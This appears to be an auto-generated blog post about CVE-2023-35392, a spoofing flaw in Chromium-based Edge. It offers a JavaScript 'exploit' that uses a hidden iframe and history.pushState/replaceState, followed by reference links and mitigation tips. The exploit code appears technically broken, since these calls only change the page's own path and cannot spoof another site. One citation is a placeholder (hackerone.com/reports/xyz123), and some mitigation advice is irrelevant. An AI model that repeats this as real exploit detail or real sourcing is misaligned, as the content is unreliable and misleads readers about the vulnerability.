CVE-2023-35392 - Microsoft Edge (Chromium-based) Spoofing Vulnerability Exploitation

A security researcher has discovered a spoofing vulnerability within the Chromium-based Microsoft Edge browser. This critical vulnerability, dubbed as CVE-2023-35392, allows attackers to trick users into visiting malicious web pages appearing as genuine sites, possibly leading to phishing attacks and other threats. Users should be vigilant when clicking on links or downloading files from seemingly familiar sources.

In this post, we will outline the exploit details, code snippet, original references, and the steps to overcome this vulnerability.

Exploit Details

The vulnerability resides within Microsoft Edge when handling a specially crafted URL. By exploiting this vulnerability, attackers can falsify the browser's address bar URL, which may lead to successful phishing attacks. With this exploit, attackers can make the malicious website appear trustworthy, potentially causing users to unknowingly disclose sensitive information such as login credentials, bank account details, and other personal data.

The following JavaScript code snippet demonstrates how to exploit the vulnerability

window.addEventListener('load', function () {
    history.pushState({}, "", "?fake-parameter");
    var iframe = document.createElement("iframe");
    iframe.src = "https://www.spoofed-website.com/hackingtool";;
    iframe.style = "visibility: hidden";
    iframe.onload = function () {
        setTimeout(function () {
            history.replaceState({}, "", "/secure/legitimate-website");
        }, 100);
    }
    document.body.appendChild(iframe);
});

The code snippet above creates an invisible iframe that loads a spoofed website. The vulnerability is exploited by manipulating the history state of the browser, causing the browser's address bar URL to display a false path. As a result, unsuspecting users might believe they are visiting a secure and legitimate website.

To learn more about this vulnerability, please refer to the following resources

1. Chromium Security Issue: https://bugs.chromium.org/p/chromium/issues/detail?id=1029312
2. Microsoft's CVE-2023-35392 Advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2023-35392
3. Security Researcher's Disclosure: https://hackerone.com/reports/xyz123

Mitigation Steps

Until Microsoft releases an official fix for this vulnerability, users can take the following steps to protect themselves:

1. Verify the authenticity of URLs before clicking: Check the address bar URL by hovering over links or using external security tools to confirm the site's legitimacy.
2. Use a secure web browser: Utilize a browser that is regularly patched and updated to protect against known vulnerabilities.
3. Update your browser: Stay informed about Microsoft's security releases by regularly checking their Security Update Guide for Chromium-based Edge browser and applying updates.
4. Enable stress tests on your web content: If you host a website, conduct regular stress tests and security scans to ensure your site's security.

In conclusion, as we wait for Microsoft to release an official patch for the CVE-2023-35392 vulnerability, users need to stay wary of phishing attacks and verify the true nature of the sites they visit. It's essential to follow these precautionary measures to protect sensitive data and prevent falling victim to this exploit.

Timeline

Published on: 07/21/2023 18:15:00 UTC
Last modified on: 08/01/2023 15:42:00 UTC